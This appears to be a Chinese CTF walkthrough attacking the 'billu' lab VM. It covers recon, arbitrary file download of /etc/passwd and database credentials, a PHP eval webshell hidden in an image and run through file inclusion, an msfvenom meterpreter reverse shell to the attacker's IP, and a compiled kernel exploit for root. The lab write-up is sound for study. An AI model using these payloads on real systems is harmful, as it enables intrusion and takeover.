0x01 信息收集
靶机环境为Ubuntu(32)+php+mysql+apachem,攻击机为kali linux. 目标主机ip(192.168.188.140),kali ip(192.168.188.139)
1.扫描存活主机
使用arp-scan扫描本地存活主机
2.使用SPARTA工具进行端口、服务以及Nikto扫描
发现目标主机只存在两个端口开放,nikto进行的漏洞扫描结果
根据扫描结果发现有一个phpinfo的信息泄露。打开192.168.188.140/in.php,收集一些敏感信息。
- php版本为5.3.10》5.3.4,这个版本不能使用00截断进行文件包含
- 网站的根目录是/var/www,如果存在sql注入且是root权限可以直接将shell写入网站目录中。
- mysql的版本是5.5.38
- session的存储路径是/var/lib/php5
3.使用dirbuster进行目录枚举
根据dirbuster的目录爆破,可以发现in.php,add.php,show.php,panel.php、test.php等。
4.使用dirb进行目录枚举
dirb http://192.168.188.140 /usr/share/dirb/wordlists/big.txt -o 192.168.188.140.txt
0x02 漏洞挖掘
1.sql注入
访问首页,发现登录框,使用万能密码注入:用户名输入:admin'or '1'='1#
,密码随意输入字符串,注入无效,try again,使用burpsuit抓包,发送到sqlmap跑post注入无果,加载所有的temper没用,此处不知道网站是如何过滤的,暂时放弃注入
2.任意文件下载
访问192.168.188.140/test.php,网页提示需要file的参数,尝试url添加file=in.php,依然提示需要file参数,尝试使用post提交,hackbar
提交发现可以下载in.php,此处存在任意文件下载漏洞。接下来,将网站我们可以探测到的php文件下载到本地,同时也可以在linux下的一些敏感文件 /etc/passwd,/etc/shodow,
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
ica:x:1000:1000:ica,,,:/home/ica:/bin/bash
上面可知通过ica账户和root就可以使用ssh登录
3.代码审计
1.尝试绕过sql注入
下载首页,include了一个c.php,下载c.php,发现是数据库连接文件,找到数据库的连接用户名和密码:billu,b0x_billu
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
尝试使用这个密码登录首页,有时候数据库的连接密码和管理员使用的账号密码一致,尝试登录失败。
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
无法闭合单引号,个人觉得sql注入无法使用,除非开启gpc。再审计panel.php。
2.枚举出phpmyadmin文件读取配置文件
此时查看扫描的目录还有什么信息可以被利用,可以看到dirb爆破出了phpmyadmin的目录,
接下来我们使用任意文件下载漏洞读取phpmyadmin的默认配置文件config.inc.php。下载后可以发现root的账号和密码
使用xshell进行连接,发现已经是root用户!
3.登录phpmyadmin后台getshell
使用root:roottoor登录,失败,使用billu,b0x_billu登录成功,查看是否拥有写入文件权限:
SHOW GLOBAL VARIABLES LIKE '%secure%'
,当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
发现可以写入任意位置,根据phpinfo的信息得到路径,然后插入一句话
失败,权限不够没办法getshell.
4.读取登录账号密码找上传
查看auth表得到登录用户名和密码为:
biLLu和hEx_it,尝试登录首页。接下来就是正常渗透思路,找上传点,上传shell,找到
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
存在上传点但是是白名单验证,而且没法进行截断上传版本不行,所以这个只能上传白名单的jpg等图片后缀的文件,这边思路就断了。
5.使用文件包含漏洞包含图片马getshell
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
上面只是对load参数进行一个过滤,替换其中的路径遍历符号./
为空。
上传图片马,下载jack的那个图片,末尾添加 <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
,浏览器添加代理上传,
添加continue字段,随意输入一个值,然后进行上传,返回值为success,知道上传成功,然后在phpmyadmin的上传表查找这个上传的路径。在users表中发现上传路径。
查看图像链接路径为http://192.168.188.140/uploaded_images/jack.jpg
,使用文件包含这个图片getshell,hackbar,post
使用burp抓包发现图片马没有再本地生成shell.php,应该是图片马问题,然后在本地找gif的图片,使用
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.188.139 LPORT=4444 R > shell.php
然后将其copy到windows上,在gif图片后面添加shell.php的内容,然后继续上传使用文件包含执行代码,
成功弹回shell,
0x03 exp提权
执行shell,切换到cmd_shell,然后使用python -c 'import pty;pty.spawn("/bin/bash")'
弹回虚拟终端,
执行uname -a
,查看linux内核
www-data@indishell:/var/www$ uname -a
uname -a
Linux indishell 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
使用search_sploit查找内核版本提权漏洞,
使用meterpreter上传exp文件,出错,发现此时是在var/www目录下,没有写入文件的权限,那么在uploaded_images存在写入文件的权限,在uploaded_images创建文件夹mkdir hack
,然后使用切换到hack目录,使用upload /usr/share/exploitdb/exploits/linux/local/37292.c
上传exp,修改文件权限
然后输入shell
进入交互shell中,然后编译 gcc -o exp 37292.c
,
执行exp
成功提权。